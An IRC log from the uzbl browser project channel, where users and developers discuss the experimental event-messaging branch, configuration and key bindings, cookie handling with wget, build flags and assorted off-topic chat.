18:12 < mason-l> Thanks guys but I'm sure she will be fine (eventually) its just the ... (it sounds terrible) inconvenience.
18:13 < ruskie> drag the lappy along ;)
18:13 < mason-l> Thats not a bad idea.
18:14 < rob|> well, you know family is one things the can give you lots of backing in the worst situations while friends on the net are (unfortunatelly) a very short lived joy..
18:15 < rob|> it's just like in glib, priorities ;)
18:15 < ruskie> :)
18:16 < ruskie> in my case I'm sure my mom would drag her own laptop along as well
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18:16 < rob|> hehehe
18:17 < mason-l> rob|: lol
18:17 < mason-l> ruskie: awesome.
18:17 < ruskie> well boredom does interesting things to a persons brain ;)
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19:04 < AlmostObsolete> hi all, I'm trying to set up my handlers (load_start_handler etc) to print out information to stdout (where my control program is waiting)
19:05 < AlmostObsolete> I can do somethin like "set load_start_handler = print !!handle load_start @uri" and that works fine but what about things like cookie-handler?
19:05 < AlmostObsolete> If i was using a "spawn" command the script would get all sorts of useful info, but that doesn't seem to be available when I'm using something other than spawn, is that correct?
19:14 < bct> i'm pretty sure you can do set cookie_handler = sh "echo $1 $2 $3 etc."
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19:15 < bct> btw you may be interested in the experimental branch; it seems to be much more based around sending messages to an external handler
19:15 < bct> (i don't know much about it)
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19:19 < rob|> AlmostObsolete: yes, you should really give experimental a try
19:19 < bct> actually i don't think that work for the cookie handler, iirc uzbl expects to get the cookie response on the handler's stdout
19:19 < bct> there's no nice way to go that for cookies on the master branch.
19:19 < rob|> AlmostObsolete: it does transfrom all events to text messages and also allows you to enerate your own event
19:19 < rob|> +s
19:20 < AlmostObsolete> rob|: thanks for the tip, sounds like it's moving in a direction that suites me
19:21 < AlmostObsolete> bct: yeah, just been reading cookies.py and I see now that what I wanted wouldn't have worked anyway
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19:23 < rob|> AlmostObsolete: here is a draft of the upcoming article on event messages: http://dpaste.com/99955/
19:24 < rob|> might be of some use...
19:25 < AlmostObsolete> cool, thanks!
19:26 < rob|> sure thing :)
19:27 < AlmostObsolete> I really like the sound of this, being able to get at the key events directly is going to make some very cool things possible I think :)
19:28 < rob|> indeed, the event manager already does implement some awesome features. be sure to give it a try..
19:29 < AlmostObsolete> is github down for anyone else?
19:30 < rob|> http://downforeveryoneorjustme.com/github.com
19:30 < AlmostObsolete> oh wait, it just came up, I haven't been able to access it for the last 30 mins but as soon I mention it :)
19:30 < rob|> so, no ;)
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19:36 < bct> so rob|, what's the status of the experimental branch?
19:36 < bct> is it usable? any idea when it will be merged into master?
19:38 < rob|> bct: well, besides sync events it works pretty well and keybindings are already superior to what master provides
19:38 < rob|> and status bar formating, too
19:39 < bct> cookies are the only sync event right? do master-style cookie handlers still work?
19:39 < rob|> yes, the code is still in place
19:40 < rob|> and no, cookies are not the only (possible cases of) sync events
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19:48 < rob|> AlmostObsolete: i'd suggest to checkout the default config and uzbl-browser first, just to get you an idea of how things are supposed to work
19:48 < AlmostObsolete> rob|: Having a bit of a read now, it'll be in keycmd.py, right?
19:49 < rob|> yeah
19:50 < rob|> well, bind.py too
19:51 < AlmostObsolete> got it, thanks
19:51 < rob|> ok, nice
19:52 < AlmostObsolete> Hmm, I'd quite like do some special processing when the user gives focus to a text box. I guess I could do that by injecting JS to add DOM event handlers. Does that sound like a good way to do it?
19:52 < rob|> so, as you certainly realized uzbl does not only report events but also acts as a message bus that will dispatch custom events
19:53 < AlmostObsolete> aha, I could have my injected JS generate a custom event
19:53 < rob|> unfortunatelly that's the only possible method as webkit-gtk does not expose the DOM on a C level, yet
19:54 < rob|> but you can use Uzbl.Run from the JS code to generate events
19:54 < AlmostObsolete> that doesn't sound too bad really, I hadn't connected the idea of custom events with the idea of injected JS before
19:55 < AlmostObsolete> Finally I can have seamless emacs editing of web forms :)
19:55 < rob|> sure, with some effort ;)
19:55 < AlmostObsolete> just a Small Matter Of Programming ;)
19:55 < scj> yeah, uzbl isn't entirely language agnostic, it takes a little bit of glue js to do some complex stuff
19:58 < rob|> right, that's the master plan though
19:59 < AlmostObsolete> cool, like the sound of that
19:59 < scj> so assume that there will be c level access to the dom in the future. how do you envision exposing that in a language agnostic way that is complex enough to do something useful with it?
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20:01 < rob|> well, depending on how wekit will expose it we might be able to use a combination of events and variables to fully control it
20:03 < scj> my point is that DOM manipulation is complex enough to warrant a dsl of some sort, and in that light, js isn't a bad choice. sort of like sql is for databases
20:04 < rob|> actually we would be able to do it right now if we'd translate the DOM with some internal JS glue to uzbl variables
20:05 < scj> sounds overly complicated, imo
20:06 < rob|> sure, that's why we haven't done it
20:07 < rob|> but with a C level/Gobejct interface to it we would be able to have uzbl vars _and_ generate events from the JS event you can bind to
20:09 < rob|> so, e.g. a mouse click into a site would generate a "EVENT DOM_CLICK coordinates/element" or something alike
20:10 < scj> will we be able to tell uzbl what events we are interested in?
20:11 < rob|> well, this was my intention when i proposed the whole events stuff
20:11 < rob|> but dieter and some other guys didn#t like this too much
20:12 < scj> well, I do :v
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20:13 < rob|> so there are 2 options, dieters repo will report all events and my repo will have a command that allows you to (dyniamically) select which events you want to be reported
20:14 < scj> cool. I like the idea of being able to siphon off default behaviour from webkitgtk
20:14 < rob|> or we agree on one of both
20:18 < rob|> yeah, but all this requires quite a bit of coding and design thoughts which i would like to share with a couple of other guys
20:19 < rob|> we didn't have too much peole contributing when things got a bit more complex :(
20:19 < rob|> actually just mason and me. that's pretty sad...
20:20 < scj> you seem to be pushing forward at a pretty decent pace, though
20:20 < scj> the two of you
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20:38 < Dieterbe_> 20:10:42 < scj> will we be able to tell uzbl what events we are interested in?
20:38 < Dieterbe_> 20:11:36 < rob|> well, this was my intention when i proposed the whole events stuff
20:38 < Dieterbe_> 20:11:51 < rob|> but dieter and some other guys didn#t like this too much
20:38 < Dieterbe_> 20:12:46 < scj> well, I do :v
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20:38 < Dieterbe_> i have nothing against the ability to "filter" event messages.  i just think the logic to do that can happen with tools like grep
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20:39 < scj> Dieterbe_: it's not the same. telling uzbl that you aren't interested in, say, cookie events would allow it to use the libsoup cookie feature
20:40 < Dieterbe_> that doesn't feel right to me
20:40 < Dieterbe_> telling which _events_ you are (not) interested in, should probably not affect internal logic such as which feature to use
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20:43 < Dieterbe_> i think that by discussion/experience we will see why such a feature may (not) be needed. rob| and i both have the same goals so one of us will be able to convince the other (probably rob| will be able to convince me)
20:45 < mason-l> I'm back.
20:45 < scj> well, I suck at convincing people :v
20:45 < mason-l> Hospital was pretty boring & everyones well.
20:45 < Dieterbe_> good to hear, mason-l 
20:46 < mason-l> I'm just glad thats over with.
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21:02 < rob|> AlmostObsolete: how are things going?
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21:32 < rob|> http://www.youtube.com/watch?v=H2W4wglPW2c  <-- *sign*
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21:35 < Dieterbe_> wtf. my ssh-agent is running, my key is added to it. but i get:
21:35 < Dieterbe_> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git push origin
21:35 < Dieterbe_> Permission denied (publickey).
21:35 < Dieterbe_> fatal: The remote end hung up unexpectedly
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21:45 < AlmostObsolete> rob|: things going pretty good thanks, finished for the evening but I have a little emacs window I can call up that hovers over my full screen browser and keeps keyboard focus then sends appropriate commands. Your experimental branch was a great help, those events are just what I needed
21:59 < smeea> hello guys. i found uzbl very interesting and simple, but i have some issue with window redraw every time i switch them and it is very uncomfortable for my eyes to see this nasty splashes every time i want to switch tabs
22:00 < smeea> how can i solve this? other window work perfect
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22:04 < holizz> smeea: I'm not sure why that happens, but I think we have a bug report for it. Does it happen with other WebKit applications?
22:06 < smeea> holizz: i'll try other webkit apps now: surf and epiphany
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22:08 < github> uzbl: Barak A. Pearlmutter experimental SHA1-f0a2b56
22:08 < github> typo in package name for pkg-config
22:08 < github> http://bit.ly/30rqlm
22:08 < github> uzbl: Dieter Plaetinck experimental SHA1-ec4d803
22:08 < github> merge: typo in package name for pkg-config
22:08 < github> http://bit.ly/NEFgx
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22:09 < smeea> holizz: yes, both epiphany and surf have this issue too
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22:23 < rob|> AlmostObsolete: nice! i'm happy you could make some good use of experimental
22:26 < rob|> AlmostObsolete: not sure about emacs' internal key handling, though i wonder how difficlt it would be to attach those events to native emacs key bindings?
22:36 < Dieterbe_> good night all
22:37 < AlmostObsolete> right now I'm probably just going to have the emacs window have keyboard focus. But I'll look into piping keys from Uzbl into emacs and using emacs keymaps, depends how much of that stuff is written in elisp vs. c I guess
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22:41 < rob|> AlmostObsolete: ok, i see. that's a quite interesting area, are you aware of ezbl (http://www.haxney.org/2009/08/its-alive.html)?
22:42 < AlmostObsolete> yes, I've been playing with ezbl and it's really cool
22:43 < AlmostObsolete> but I have no idea how to fix the focus and sizing problems with xwidget
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22:45 < AlmostObsolete> and since I use ratpoison as my window manager which I allready have hooked up to emacs in all sorts of ways it seems easier to not try and actually embedd uzbl. I can have my window setup automatically manipulated when I switch the uzbl buffer so I get the benefits of embedding without actually doing it
22:45 < rob|> i'm not much of an emacs person, though all this embedding looks like a pretty cool thing :)
22:45 < Greg02> So Elisp acts as a buffer to pass commands to uzbl?
22:46 < AlmostObsolete> yeah
22:46 < AlmostObsolete> the emacs window is shrunk down a lot and show over the top of the full screen browser (towards the bottom of the screen)
22:47 < AlmostObsolete> The buffer itself I will use to display status bar type stuff probably, but it will also serve as the place to show bookmarks and to edit text from form fields in
22:48 < AlmostObsolete> I already have a similar setup for when I switch windows (small emacs overlay window pops up with a buffer showing all windows and autocompleting selection thingy)
22:48 < Greg02> That sounds cool- but what's the rationale of doing that over using Uzbl's <Ctrl> modifiers?
22:48 < MichaelRaskin> AlmostObsolete, why do you use ratpoison and not StumpWM?
22:48 < rob|> AlmostObsolete: at any rate, keep us updated about your efforts
22:49 < MichaelRaskin> Uzbl text entry in a separate full-featured editor is usually convenient, yes
22:51 < AlmostObsolete> MichaelRaskin: I used stumpwm for a while but it really didn't offer anything I needed that ratpoison doesn't. Plus when I was messing with integrating it with stuff it had a tendency to crash (my fault definitely, but it's nice to be able to get away with a few mistakes)
22:52 < AlmostObsolete> Greg02: so I get the full on emacs thing :) For example I want to be able to have hundreds of tabs open just like I usually have hundreds of emacs buffers open and switch between them easily. I also want full emacs power for form filling
22:53 < AlmostObsolete> rob|: Will do, although I think I'm building something a little too specific to be of any use to anyone else. I am at least trying to keep the uzbl control code seperate from the ratposion window manipulation code so maybe I'll have a library to release at some point (though the ezbl guy could prob do a better job of that)
22:54 < Greg02> Thanks for the explanation.
22:56 < rob|> AlmostObsolete: that doesn't really matter, it still can serve as a superb example of custonm intergration
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22:59 < AlmostObsolete> Good point, I'd have to go through and extract a whole load of support code though. I have been meaning to stick my whole config up on github at some point. Just need to make sure there aren't passwords or other stuff which shouldn't be shared in there somewhere, and maybe remove some embarrassingly bad failed experiments ;)
23:00 < Greg02> I have a few uzbl questions: 1) For some reason... Tabs don't work (uzbl-experimental-git, up to date) in that the commands sent using the key bindings don't do anything.
23:01 < Greg02> 2) Occassionally when I press Control or Alt, another key (like Super) goes along with it. 3) Is there any way to get middle click to do the scroll thing?
23:01 < rob|> Greg02: yeah, uzbl_tabbed and experimetal don't play very well together, yet
23:01 < Greg02> OK, I guess I'll simply wait on that one.
23:02 < rob|> Greg02: though, mason (the guy who wrote big parts of uzbl_tabbed and all the event manager code) announced to work on that
23:03 < Greg02> Thanks for the info.
23:06 < rob|> sure thing, uzbl (experimental) is in a state of transition and there's quite a bit of work to do
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23:08 < rob|> though, many things are superior to master laready
23:08 < rob|> *already
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23:09 < Greg02> That's actually why I'm using it- mason-l recommended it for something Emacs-style.
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01:03 < juantelez> hi all
01:03 < juantelez> I install uzbl in lenny
01:03 < juantelez> and now what?
01:04 < juantelez> I allready copy the example config file
01:05 < juantelez> it supoussed to work as vi
01:05 < juantelez> but I can't switch to INSERT mode
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02:34 < juantelez> hi
02:36 < scj> juantelez: master or experimental branch? what does it say when you run 'uzbl --verbose'?
02:37 < juantelez> hi scj
02:38 < juantelez> name: 16777248
02:38 < juantelez> commit: d2d73ad463f3d9f1c673d37457af159947b3faac
02:40 < juantelez> scj: $ uzbl -V
02:40 < juantelez> Commit: d2d73ad463f3d9f1c673d37457af159947b3faac
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02:40 < juantelez> I don't know what mod1 key is
02:40 < juantelez> i guess that is the bind key
02:42 < juantelez> juan@portatil:~$ grep -4 modkey .config/uzbl/config/config
02:42 < scj> juantelez: what is the output of 'env | grep XDG'
02:42 < juantelez> set socket_dir = /tmp
02:42 < juantelez> set shell_cmd         = sh -c
02:42 < juantelez> # Keyboard interface
02:42 < juantelez> set modkey = Mod1
02:42 < juantelez> # like this you can enter any command at runtime, interactively. prefixed by ':'
02:42 < juantelez> bind    :_        = chain '%s'
02:42 < juantelez> bind    j         = scroll_vert 20
02:42 < juantelez> noone
02:43 < juantelez> juan@portatil:~$ env | grep XDG
02:43 < juantelez> juan@portatil:~$
02:43 < juantelez> i missing something important, right?
02:43 < juantelez> :)
02:43 < scj> juantelez: yes, you need your XDG vars or some of the scripts won't work properly
02:43 < juantelez> scj: thanks a lot!
02:44 < juantelez> let me google what XDG is
02:44 < juantelez> :'(
02:44 < juantelez> i need a browser to use google
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02:44 < juantelez> haha
02:44 < juantelez> i will use w3m
02:45 < juantelez> I tired epiphany use an important size of my display
02:45 < scj> juantelez: add 'export XDG_CONFIG_HOME=$HOME/.config' and 'export XDG_DATA_HOME=$HOME/.local/share' to your bashrc
02:46 < juantelez> I use to use (?) vimperator, but I think ff is too slow
02:46 < juantelez> scj: thanks!
02:46 < scj> juantelez: also, your config file is in the wrong place. it should be $XDG_CONFIG_HOME/uzbl/config, right now it's $XDG_CONFIG_HOME/uzbl/config/config
02:47 < juantelez> scj: thanks a lot
02:47 < juantelez> *I used to use
03:25 < juantelez> scj: now seems to work great
03:26 < juantelez> only that complains a lot about missing scripts and i still don't know wich is my bind key
03:33 < scj> juantelez: bind key?
03:37 < juantelez> scj: yeap
03:37 < juantelez> scj: to open a new webpage
03:37 < juantelez> i must press some key + o
03:37 < juantelez> rigth?
03:37 < scj> depends on your key bindings
03:39 < juantelez> mm
03:39 < juantelez> the config file says
03:39 < juantelez> set modkey = Mod1
03:40 < juantelez> bind    j         = scroll_vert 20
03:40 < juantelez> but I don't know wich key is
03:40 < scj> juantelez: modkey is only useful if you are in insert_mode
03:41 < juantelez> mm
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03:59 < juantelez> scj: since you have been so gentle, could you please tell me which is _your_ bind key?
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04:25 < scj> juantelez: I'm still not sure what you mean with 'bind key'
04:26 < juantelez> scj: sorry
04:26 < juantelez> i.e., suppouse I want to do bind    j         = scroll_vert 20
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04:26 < juantelez> wich key may I press before press j
04:26 < juantelez> ?
04:27 < juantelez> mod1 = alt ?
04:27 < juantelez> but it doesn't work
04:27 < scj> juantelez: you don't press anything before pressing j
04:27 < juantelez> scj: oh
04:28 < juantelez> scj: okay, it doesn't work either if I press "j" only
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04:29 < scj> juantelez: if you run 'uzbl -v' in a terminal, it should list all the bindings that are made
04:30 < juantelez> scj: thanks
04:30 < juantelez> I have bindings in my config file, bur those aren't working
04:33 < scj> juantelez: add 'set test = $XDG_CONFIG_HOME/uzbl' and 'print @test' to your config
04:33 < juantelez> scj: its working
04:34 < scj> juantelez: can you pastebin the output of 'uzbl -v'?
04:35 < juantelez> scj: I think that since we add XDG to the enviorment, all work just fine, but I was to dumb to realize
04:35 < juantelez> jeje
04:35 < juantelez> scj: give me a minute and I paste that if you want
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04:50 < juantelez> scj: pastebin.com/d6b18b101
04:52 < lassiethebrave> So I guess I'm missing something very obvious here, but how on earth do I make uzbl use a proxy? I've read through all docs I could find and there's plenty on google about people using proxy servers and uzbl but sadly nothing (that I've found) about how.
04:54 < scj> lassiethebrave: set proxy_url = http://proxy
04:55 < scj> juantelez: I have no idea. the bindings are made
04:57 < juantelez> scj: yes! sorry, scj, maybe i wasnt clear enough, every is working great
04:57 < scj> oh :v
04:57 < lassiethebrave> Aha! And it's in the readme to... I'll just go stand in the corner.
04:58 < juantelez> the only thing is, that I guess that uzbl dosen't work great with Awesome
04:58 < juantelez> because at first I couldn't see the bar at the bottom
04:59 < juantelez> but, I don't mind that right now
04:59 < juantelez> i just change the layout and that is solved
04:59 < juantelez> I must now fix the script issue
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06:16 < MichaelRaskin> mason-l, I watched the pro-Git video you recommended
06:16 < MichaelRaskin> It turned out to be only pro-DVCS
06:17 < MichaelRaskin> And the only Monotone drawback he mentioned was speed
06:17 < MichaelRaskin> Monotone has fixed a lot of speed issues since then.. and has saner design on the semantical level than git.
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08:35 < rob|> morning.
08:39 < mason-l> Afternoon
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09:24 < Dieterbe_> good morning ladies
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13:05 < thorben> could anyone in the google wave preview perhaps invite me?
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13:32 < thorben> does it even work in uzbl? ;)
13:37 < Dieterbe_> no idea
13:46 < sitwon> I would doubt that Google Wave works since Google Mail still doesn't work correctly
13:47 < ruskie> I thought people had google mail working
13:47 < ruskie> *shrug* I use alpine(re-alpine)
13:48 < thorben> ruskie: is alpine fast enough for you?
13:48 < ruskie> yup
13:48 < ruskie> but then I actually sort my mail and archive it
13:48 < thorben> even with huge amount of mail?
13:48 < ruskie> not just have everything in a single box
13:48 < ruskie> well "sort"
13:48 < ruskie> I let filters sort it
13:48 < ruskie> server side at that(sieve)
13:49 < thorben> ruskie: me too, but i am on some very high volume mailing lists...
13:49 < thorben> s/am/have
13:49 < ruskie> same here
13:49 < ruskie> though nothing like lkml
13:50 < thorben> mutt insists on fetching imap headers every time i open a folder
13:50 < thorben> Dieterbe_: when are events going to be merged into mainline?
13:51 < Dieterbe_> good question. rob|_ and mason-l can give you a better example
13:51 < Dieterbe_> er.. estimate
13:51 < ruskie> I though mutt fetches every single bit
13:51 < ruskie> also I use gmane nntp nowadays and only have stores for the stuff that interests me
13:51 < thorben> ruskie: well, i use offlineimap but mutt is still _SLOW_
13:53 < ruskie> I have a localhost imap running so use that
13:54 < mason-l> thorben, Still got a few hurdles to overcome.
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13:56 < Dieterbe_> what showstoppers are still on the todo?
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13:56 < mason-l> Sync events, working uzbl_tabbed, multi-instance event manager and move cookies into event manager (off the top of my head).
13:57 < Dieterbe_> cookies and sync events are not showstoppers afaik
14:01 < Dieterbe_> we shouldn't wait for this to become perfect. the quality has already surpassed master so we should just make sure we have no big regressions, and then we can do a new release
14:01 < Dieterbe_> after that we can take care of further optimisations and such
14:05 < Dieterbe_> right, mason-l ?
14:07 < mason-l> I mostly agree with you.
14:07 < thorben> mostly?
14:07 < Dieterbe_> ..but?
14:13 < mason-l> Yes.
14:15 < Dieterbe_> what don't you agree with
14:16 < mason-l> I don't entirely agree that the stability has surpassed master yet.
14:23 < thorben> anyone of you know a useful/minimal calendar software?
14:23 < Dieterbe_> remind?
14:27 < ptman> and wyrd
14:28 < thorben> Dieterbe_, ptman _exactly_ what I was looking for
14:28 < thorben> thx!
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14:36 < Dieterbe_> i just don't like it's syntax
14:36 < Dieterbe_> i always forget how to put entries in it, with all the weird options and flags you need to pass (like '%b' at the end, and 'MSG' in it and such)
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16:11 < Frots> calcurse?
16:12 < Frots> or is that too bloated xD
16:13 < bct> while we're on the subject, i ran across pal the other day.
16:13 < bct> haven't given it a try yet.
16:14 < DuClare> Emacs
16:17 < Dieterbe_> Frots: you use it? i wonder how it compares to remind. especially how it's dataformat looks like
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16:18 < Frots> not anymore
16:18 < Dieterbe_> pal looks cool too
16:18 < Dieterbe_> why not?
16:19 < Frots> its simple text file with some tags (taglike)
16:19 < Frots> well im not the most organized fellow ^^
16:19 < Frots> I did however made it sync with google calendar
16:19 < Frots> when I still had a proper job
16:24 < Dieterbe_> :)
16:25 < Frots> now I use pen and paper
16:25 < Frots> I must be oldschool ;)
16:31 < thorben> whats pal? all i find is some paper organizer from amazon when googling
16:31 < sECuRE> i also use pen and paper quite often
16:31 < sECuRE> thorben: http://palcal.sourceforge.net/
16:31 < thorben> sECuRE: thx
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16:31 < thorben> stupid me, googled for "pal organizer"
16:32 < Dieterbe_> hey sECuRE you use uzbl?
16:32 < Dieterbe_> thorben: i googled for pal calendar and that worked
16:33 < sECuRE> Dieterbe_: no, i did not switch to it as main browser yet, but i think the idea and implementation are far better than firefox and thus keep watching on uzbl’s progress
16:33 < Dieterbe_> fair enough
16:44 < mason-l> Dieterbe_, Want to try out my latest experimental head :)
16:45 < mason-l> I've pulled in that keycmd cursor patch and fixed it up :)
16:45 < Dieterbe_> ah. send the happy news to the ML ;)
16:46 < Dieterbe_> i'm at work, so no not now
16:46 < Dieterbe_> maybe tonight
16:52 < rob|> mason-l: just tested it and it does look pretty nice :)
16:54 < mason-l> Nice, I'm sending a message to the ML now.
16:58 < rob|> i saw that displaying variable names works now, too
16:59 < Dieterbe_> mason-l: reply to all ;)
16:59 < mason-l> Dieterbe_, Whoooops!
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17:00 < mason-l> Fixed.
17:00 < Dieterbe_> mason-l: and don't forget the authors file :)
17:00 < mason-l> Oh yeah
17:04 < rob|> using the underline markup is pretty nice trock :)
17:04 < rob|> *trick
17:05 < mason-l> It does make it a bit harder to type '_' in the keycmd but hopefully that doesn't upset anyone.
17:06 < mason-l> I did originally try an inverted-block but I couldn't get it looking .. good.
17:10 < rob|> well, if anyone has problems with that he could just use bold letters (+underline) to indicate cursor position
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17:12 < rob|> that's what i've just done with my config
17:13 < rob|> set cursor_style      = underline="single" weight="bold" foreground="yellow"
17:14  * mason-l hearts uzbl.
17:14 < Dieterbe_> :)
17:24 < mason-l> http://xkcd.com/643/
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19:11 < rob|> hehe, "getting money and not knowing what to do with it" that's nice ;)
19:13 < rob|> anyways, T-Shirts would be a cool thing with the uzbl logo and a slogan "Uzbl - I hacked the source" :P
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20:14 < thorben> http://www.youtube.com/watch?v=siOHh0uzcuY hard to do the "Unix" way, or am I mistaken?
20:20 < locks> uzbl should concern itself more with usability
20:20 < locks> it's hideous
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20:27 < bct> when did "usable" become synonymous with "pretty"?
20:29 < locks> u serius?
20:29 < bct> are you?
20:29 < locks> nope
20:34 < modnaru> uzbl is usable (edit distance 3)
20:35 < thorben> modnaru: it took me a while to figure that one out...
20:35 < locks> me too
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20:35 < locks> the cat didn't help, too
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20:35 < thorben> thorben: for days i was like... what kind of acronym might this be...
20:36 < thorben> "the b is obviously for "browser" but the rest... "
20:36 < locks> us zimbabwe browser libre!
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20:37 < thorben> unix zen browser l...
20:37 < locks> libre
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20:37 < locks> unix zen browser libre!
20:37 < thorben> don't like an adjective at the end
20:37 < locks> uzbl Zain't Banother Lbrowser
20:38 < thorben> ROFL
20:38 < thorben> thats it: unix zen browser... LOL
20:38 < locks> xD
20:38 < locks> I quite like the idea of uzbl
20:39 < locks> but I haven't used my unix terminal enough to config it
20:39 < thorben> locks: which idea are you referring to?
20:39 < locks> terminal as in, computer
20:39 < locks> the 'uzbl browses and that's it"
20:39 < thorben> well obviously you like it, otherwise you wouldn't be here :)
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20:40 < sECuRE> unix zen browser legend
20:40 < locks> I just want the attention ;_;
20:40 < locks> unix zenith browser located
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21:29 < Dieterbe_> actually it means 'Usable Zen Browser for Linux'
21:34 < scj> unbloat ze browser, lebowsky
21:35 < scj> lebowski*
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21:38 < Dieterbe_> :)
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02:23 < bct> the experimental branch doesn't respond to any key commands
02:23 < bct> you're all asleep, aren't you :(
02:23 < scj> yes
02:30 < bct> aaah, there we go.
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02:36  * locks pats bct 
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02:48 < bct> i didn't have a plugin directory set right.
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03:22 < pyrho> hi ! Just discovered uzbl, it's awesome ! :)
03:23 < pyrho> But, I can't seem to load my bookmarks via dmenu, the menu pops up showing the URLs. But when I hit enter nothing happens.
03:23 < pyrho> It works perfectly with history though.
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08:06 < rob|> morning.
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09:02 < rob|> so, i created a _very experimental_ (beware!) 'sync-event' branch. currently the code only works with stdin and the load_start handler
09:03 < rob|> yes, the code is ugly and not organized but at least it shows how things are supposed to work
09:04 < rob|> it expects a 'set er = anything' as an sync answer to load_start events, no timers yet
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09:12 < rob|> so if you want to help out, just test any possible case of sync responses. like loading a new site, canceling the handler by immediately loading another site withoug sending an sync response
09:12 < rob|> and wichever other cases come to mind
09:13 < rob|> there are a couple of useful printfs in there to show what's happening
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09:28 < Dieterbe_> :o
09:28 < Dieterbe_> morning all
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10:01 < rob|> hey dieter
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10:45 < rob|> re.
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16:52 < ulughbegh> hi
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17:11 < lysgaard> Hi. I've gotta question. Have anyone tried the facebook chat with uzbl?
17:25 < bct> it never worked for me on uzbl, but i think other people said it does for them
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18:24 < mason-l> Hey guys
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18:38 < bct> any experimental branch folk around?
18:38 < bct> i was playing with it last night and it behaved strangely
18:39  * mason-l to the rescue
18:39 < bct> it would work fine, but after some time the eventmanager would lose its connection to the socket
18:39 < bct> it's not an eventmanager problem, i duplicated it with socat
18:39 < mason-l> So its a problem on the uzbl-core side?
18:39 < bct> it just stopped receiving events.
18:39 < bct> i guess so
18:40 < mason-l> rob| should be here for this.
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19:43 < rob|> hey folks
19:43 < rob|> back from part #1 of the big grandma bithday marathon ;)
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20:46 < bct> the birthday marathon is multi-part?
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20:46 < bct> you germans really know how to party!
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21:02 < bct> you still around rob| ? i had a question about the experimental branch.
21:09 < Dieterbe_> evening bitch... girls
21:10 < Cheeseum> ohayou onii-chan
21:12 < bct> i think you may be sadly mistaken about the demographics of this channel, Dieterbe_.
21:16 < Dieterbe_> ah, just leave me in my happy dreamworld
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22:44 < ulughbegh> is it possible to assign identification per domain
22:48 < Dieterbe_> o_O
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23:20 < Count0> quick question, anyone have any javascript that will perform ~like flashblock?
23:26 < scj> Count0: does it have to be javascript? you can set enable_plugins = 0
23:29 < Count0> Nah, doesn't have to be javascript, I was just looking for something that would allow selective execution of flash.
23:29 < Count0> kind of on that topic, is there a good repository of uzbl scripts other then on the uzbl.org website?
23:31 < bct> nope.
23:31 < bct> the wiki is it.
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23:33 < Count0> gotcha, the reason I ask is it seems the wiki is down.
23:33 < Count0> ...
23:33 < Count0> ofcourse, the second I say that it stops timing out.
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03:59 < lolocks> puntz x)
04:07 < lolocks> does anyone have vim bindings for uzbl?
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06:23 < Count042> anyone else have issues using cookies with wget to download files?
06:24 < Count042> I use the same cookie jar as uzbl, which will allow me to stay logged into a site but am unable to use the same cookie jar with wget to download files authenticated.
06:30 < modnaru> Count042: You'll need to modify your download handler to use the cookie file.
06:31 < Count042> :-) I have.  I mean, I issue the wget command from the command line in an effort to troubleshoot the issue.
06:33 < Count042> When I use the cookie.txt file to go to multiple different sites, I remain authenticated.  When I manually use wget with the --load-cookies=$HOME/.local/share/uzbl/cookies.txt option it fails.
06:33 < Count042> I've tried curl with the same results.
06:33 < L29Ah> worksforme
06:34 < Count042> is the cookie jar you are using originally generated from uzbl or from something else?
06:35 < L29Ah> from uzbl
06:35 < Count042> same here.
06:35 < L29Ah> hm
06:35 < L29Ah> jar?
06:35 < L29Ah> $ file cookies.txt
06:35 < L29Ah> cookies.txt: ASCII text
06:35 < Count042> cookie.txt file
06:36 < Count042> sometimes people call the cookies.txt file the cookie jar. extending the metaphor thingy.
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06:38 < modnaru> You might need a session cookie.
06:39 < Count042> We are currently beyond my knowledge of web-development. :-)  hold on, let me read up on that.
06:39 < L29Ah> jar.save(ignore_discard=True) in cookies.py, afair
06:40 < Count042> yep, that is in my cookies.py
06:42 < Count042> background, using uzbl on gentoo from the devnull overlay. I don't know if that makes any difference.
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06:44 < modnaru> Apparently that line saves session cookies, so that's not the problem.
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06:46 < modnaru> Count042: Apparently that line saves session cookies, so that's not the problem.
06:47 < Count042> just double checked, that is the cookie_handler I'm using in the config file for uzbl, too.
06:53 < Count042> if you don't mind, and I would understand if you did, what sites have you downloaded files from using cookies that require you to be authenticated?  I'd like to test if maybe the 3 sites I'm trying are peculiar in theiir coding practices or something.
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07:34 < Count042> noticed some interesting stuff while packetsniffing.  It seems, even though I'm using the --load-cookies=cookies.txt option, wget isn't passing the cookies.
07:34 < Count042> when I manually specify the with the --header command it does, and everything works.
07:35 < Count042> not sure why wget is failing in this regard.
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08:01 < rob|> morning.
08:03 < rob|> bct: re. your "stopped sending events" issue, redirect the (stdout) event output to a file and when the socket seems to stop working have a look wether there are any events logged into the file
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09:26 < rob|> hmm, why does: 'pkg-config --libs gthread-2.0'  not prepend '-l' tp pthread?
09:26 < rob|> *to
09:27 < ruskie> because -pthread is a valid gcc flag
09:27 < rob|> just wanted to finally split the files a bit, but this ones causes trouble
09:27 < ruskie> -pthread
09:27 < ruskie>            Add support for multithreading using the POSIX threads library.
09:27 < rob|> i want to separately compile to object files and then link with ld
09:28 < ruskie> These are HP-UX specific flags. <-- hmm
09:28 < ruskie> ahh it's a genera option
09:29 < rob|> this pretty much sucks
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09:32 < rob|> hmm
09:35 < ruskie> could sed it or something
09:36 < rob|> this sucks even more, why the hell are the flags gcc specific?
09:38 < rob|> well, this is a showstopper for me and shows that gthread's pkg-config flags are stupid and broken
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09:44 < ruskie> so complain upstream ;)
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11:16 < rob|> so, stage 1 of the split done and pushed to my repo
11:16 < rob|> please have a look at the makefile and check wether there's anything missing
11:17 < rob|> at least the event routines have their own source files now. i guess we should also try to put all tables into an separate file
11:18 < rob|> *a
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14:45 < Zombywuf> Lo uzblers
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14:48 < rob|> hey
14:48 < locks> howdy mate
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14:53 < Zombywuf> Something I haven't seen mentioned on the site or wiki that people might be interested in: squid + adzapper to block ads and generally run faster
14:54 < rob|> well, the wiki is open to anyone, so you're welcome to write something about that there
14:54 < Zombywuf> Yeah, was wondering if anyone else was doing it
14:56 < rob|> i do use privoxy at times, though most of the sites i visit on a regular basis are ad free
14:57 < rob|> or at least don't host inherently disturbing ads
14:58 < Zombywuf> squid is useful, it just makes things a lot faster, especially web forums with lots of small graphics (user icons, smilies, etc..)
14:59 < rob|> sure
14:59 < rob|> i'm not arguing against squid
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15:06 < rob|> on the other hand squid is quite a huge and complex beast for a desktop
15:07 < rob|> there are quite a nimber of slimmer alternatives out there
15:07 < rob|> *number
15:09 < Zombywuf> I tell squid to only use 16MB it only uses 16MB
15:09 < Zombywuf> Not a byte more
15:10 < Zombywuf> squid is very good at what it does, and would only be overkill on a pda
15:12 < locks> squids are good on the plates
